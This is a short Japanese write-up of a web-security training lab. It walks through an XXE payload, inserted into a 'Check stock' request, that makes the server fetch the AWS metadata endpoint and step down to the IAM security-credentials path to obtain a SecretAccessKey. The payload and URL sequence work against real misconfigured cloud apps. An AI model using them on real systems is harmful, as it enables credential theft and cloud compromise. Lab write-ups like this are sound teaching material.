Hello there, ('ω')ノ
🎯 目的
このラボでは、XXE脆弱性を利用して、AWSのメタデータエンドポイント http://169.254.169.254/
にアクセスし、IAMユーザーのSecretAccessKeyを取得することで問題を解決します。
🧪 手順
① Burpで「Check stock」リクエストをキャプチャ
- 任意の商品ページを開き、「Check stock」をクリック。
- POSTリクエストをBurp Suiteでインターセプト。
② XXEペイロードの挿入
リクエストのXMLに以下のようにエンティティ定義を追加します:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]> <stockCheck> <productId>&xxe;</productId> </stockCheck>
- レスポンスに
Invalid product ID: latest
のような文字列が返れば成功です。
③ メタデータエンドポイントを辿る
次のようにURLを変えて、徐々に深くアクセスしていきます:
http://169.254.169.254/latest/
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/admin
④ SecretAccessKeyの取得
最後のリクエストで、以下のようなレスポンスが得られます:
{ "Code": "Success", "LastUpdated": "...", "Type": "AWS-HMAC", "AccessKeyId": "...", "SecretAccessKey": "SENSITIVE_KEY_VALUE", ... }
この SecretAccessKey
の値をラボに入力して完了です。
💡 コツ
- SSRFでアクセスできる特殊なIP:
169.254.169.254
- AWS EC2環境ではこのIPからインスタンスの設定や資格情報が取得可能
- レスポンスを確認しながら一段階ずつディレクトリを探索するのが鍵
☠️ 現実世界でも、クラウド環境でのSSRF+XXEは重大な被害を引き起こす可能性があるため、適切な入力検証と外部エンティティの無効化が不可欠です。
Best regards, (^^ゞ